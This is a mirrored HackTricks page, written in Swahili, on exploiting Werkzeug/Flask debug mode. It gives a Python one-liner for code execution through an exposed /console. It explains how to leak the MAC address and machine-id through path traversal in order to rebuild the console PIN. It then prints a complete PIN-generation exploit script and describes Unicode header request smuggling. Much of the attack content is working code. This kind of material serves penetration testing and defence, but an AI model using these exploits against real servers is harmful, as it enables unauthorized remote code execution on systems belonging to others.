mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
168 lines
6.9 KiB
Markdown
168 lines
6.9 KiB
Markdown
# Werkzeug / Flask Debug
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Console RCE
|
|
|
|
Ikiwa debug imewashwa unaweza kujaribu kufikia `/console` na kupata RCE.
|
|
```python
|
|
__import__('os').popen('whoami').read();
|
|
```
|
|
.png>)
|
|
|
|
Kuna pia exploits kadhaa mtandaoni kama [hii](https://github.com/its-arun/Werkzeug-Debug-RCE) au moja katika metasploit.
|
|
|
|
## Pin Protected - Path Traversal
|
|
|
|
Katika baadhi ya matukio, kiunganishi cha **`/console`** kitakuwa kimehifadhiwa kwa pin. Ikiwa una **file traversal vulnerability**, unaweza kuvuja taarifa zote muhimu za kuunda pin hiyo.
|
|
|
|
### Werkzeug Console PIN Exploit
|
|
|
|
Lazimisha ukurasa wa kosa la debug katika programu ili kuona hii:
|
|
```
|
|
The console is locked and needs to be unlocked by entering the PIN.
|
|
You can find the PIN printed out on the standard output of your
|
|
shell that runs the server
|
|
```
|
|
Ujumbe kuhusu hali ya "console locked" unapatikana unapojaribu kufikia interface ya debug ya Werkzeug, ikionyesha hitaji la PIN kufungua console. Pendekezo linatolewa kutumia PIN ya console kwa kuchambua algorithm ya kizazi cha PIN katika faili ya awali ya debug ya Werkzeug (`__init__.py`). Mekanismu ya kizazi cha PIN inaweza kusomwa kutoka kwenye [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), ingawa inashauriwa kupata msimbo halisi wa seva kupitia udhaifu wa kupita faili kutokana na tofauti za toleo zinazoweza kutokea.
|
|
|
|
Ili kutumia PIN ya console, seti mbili za mabadiliko, `probably_public_bits` na `private_bits`, zinahitajika:
|
|
|
|
#### **`probably_public_bits`**
|
|
|
|
- **`username`**: Inahusisha mtumiaji aliyeanzisha kikao cha Flask.
|
|
- **`modname`**: Kawaida inaitwa `flask.app`.
|
|
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Kawaida inatatua kuwa **Flask**.
|
|
- **`getattr(mod, '__file__', None)`**: Inawakilisha njia kamili ya `app.py` ndani ya directory ya Flask (mfano, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Ikiwa `app.py` haitumiki, **jaribu `app.pyc`**.
|
|
|
|
#### **`private_bits`**
|
|
|
|
- **`uuid.getnode()`**: Inapata anwani ya MAC ya mashine ya sasa, huku `str(uuid.getnode())` ikitafsiriwa kuwa muundo wa desimali.
|
|
|
|
- Ili **kubaini anwani ya MAC ya seva**, mtu lazima atambue interface ya mtandao inayotumika na app (mfano, `ens3`). Katika hali za kutokuwa na uhakika, **leak `/proc/net/arp`** ili kupata kitambulisho cha kifaa, kisha **toa anwani ya MAC** kutoka **`/sys/class/net/<device id>/address`**.
|
|
- Kubadilisha anwani ya MAC ya hexadecimal kuwa desimali kunaweza kufanywa kama inavyoonyeshwa hapa chini:
|
|
|
|
```python
|
|
# Mfano wa anwani ya MAC: 56:00:02:7a:23:ac
|
|
>>> print(0x5600027a23ac)
|
|
94558041547692
|
|
```
|
|
|
|
- **`get_machine_id()`**: Inachanganya data kutoka `/etc/machine-id` au `/proc/sys/kernel/random/boot_id` na mstari wa kwanza wa `/proc/self/cgroup` baada ya slash ya mwisho (`/`).
|
|
|
|
<details>
|
|
|
|
<summary>Code for `get_machine_id()`</summary>
|
|
```python
|
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
|
global _machine_id
|
|
|
|
if _machine_id is not None:
|
|
return _machine_id
|
|
|
|
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
|
linux = b""
|
|
|
|
# machine-id is stable across boots, boot_id is not.
|
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
|
try:
|
|
with open(filename, "rb") as f:
|
|
value = f.readline().strip()
|
|
except OSError:
|
|
continue
|
|
|
|
if value:
|
|
linux += value
|
|
break
|
|
|
|
# Containers share the same machine id, add some cgroup
|
|
# information. This is used outside containers too but should be
|
|
# relatively stable across boots.
|
|
try:
|
|
with open("/proc/self/cgroup", "rb") as f:
|
|
linux += f.readline().strip().rpartition(b"/")[2]
|
|
except OSError:
|
|
pass
|
|
|
|
if linux:
|
|
return linux
|
|
|
|
# On OS X, use ioreg to get the computer's serial number.
|
|
try:
|
|
```
|
|
</details>
|
|
|
|
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug:
|
|
|
|
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug. Skripti inatumia `probably_public_bits` na `private_bits` zilizokusanywa ili kuunda hash, ambayo kisha inapata usindikaji zaidi ili kutoa PIN ya mwisho. Hapa chini kuna msimbo wa Python wa kutekeleza mchakato huu:
|
|
```python
|
|
import hashlib
|
|
from itertools import chain
|
|
probably_public_bits = [
|
|
'web3_user', # username
|
|
'flask.app', # modname
|
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
|
]
|
|
|
|
private_bits = [
|
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
|
]
|
|
|
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
|
h = hashlib.sha1()
|
|
for bit in chain(probably_public_bits, private_bits):
|
|
if not bit:
|
|
continue
|
|
if isinstance(bit, str):
|
|
bit = bit.encode('utf-8')
|
|
h.update(bit)
|
|
h.update(b'cookiesalt')
|
|
# h.update(b'shittysalt')
|
|
|
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
|
|
num = None
|
|
if num is None:
|
|
h.update(b'pinsalt')
|
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
|
|
rv = None
|
|
if rv is None:
|
|
for group_size in 5, 4, 3:
|
|
if len(num) % group_size == 0:
|
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
|
for x in range(0, len(num), group_size))
|
|
break
|
|
else:
|
|
rv = num
|
|
|
|
print(rv)
|
|
```
|
|
Hii script inazalisha PIN kwa kuhash bits zilizounganishwa, kuongeza chumvi maalum (`cookiesalt` na `pinsalt`), na kuunda muundo wa matokeo. Ni muhimu kutambua kwamba thamani halisi za `probably_public_bits` na `private_bits` zinahitaji kupatikana kwa usahihi kutoka kwa mfumo wa lengo ili kuhakikisha kwamba PIN iliyozalishwa inalingana na ile inayotarajiwa na konsole ya Werkzeug.
|
|
|
|
> [!TIP]
|
|
> Ikiwa uko kwenye **toleo la zamani** la Werkzeug, jaribu kubadilisha **algorithms ya kuhash kwa md5** badala ya sha1.
|
|
|
|
## Makarakteri ya Unicode ya Werkzeug
|
|
|
|
Kama ilivyobainishwa katika [**tatizo hili**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug haifungi ombi lenye wahusika wa Unicode katika vichwa. Na kama ilivyoelezwa katika [**andika hii**](https://mizu.re/post/twisty-python), hii inaweza kusababisha udhaifu wa CL.0 Request Smuggling.
|
|
|
|
Hii ni kwa sababu, katika Werkzeug inawezekana kutuma wahusika wengine wa **Unicode** na itafanya seva **ivunjike**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.
|
|
|
|
## Utekelezaji wa Kiotomatiki
|
|
|
|
{{#ref}}
|
|
https://github.com/Ruulian/wconsole_extractor
|
|
{{#endref}}
|
|
|
|
## Marejeleo
|
|
|
|
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
|
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
|
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
|
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|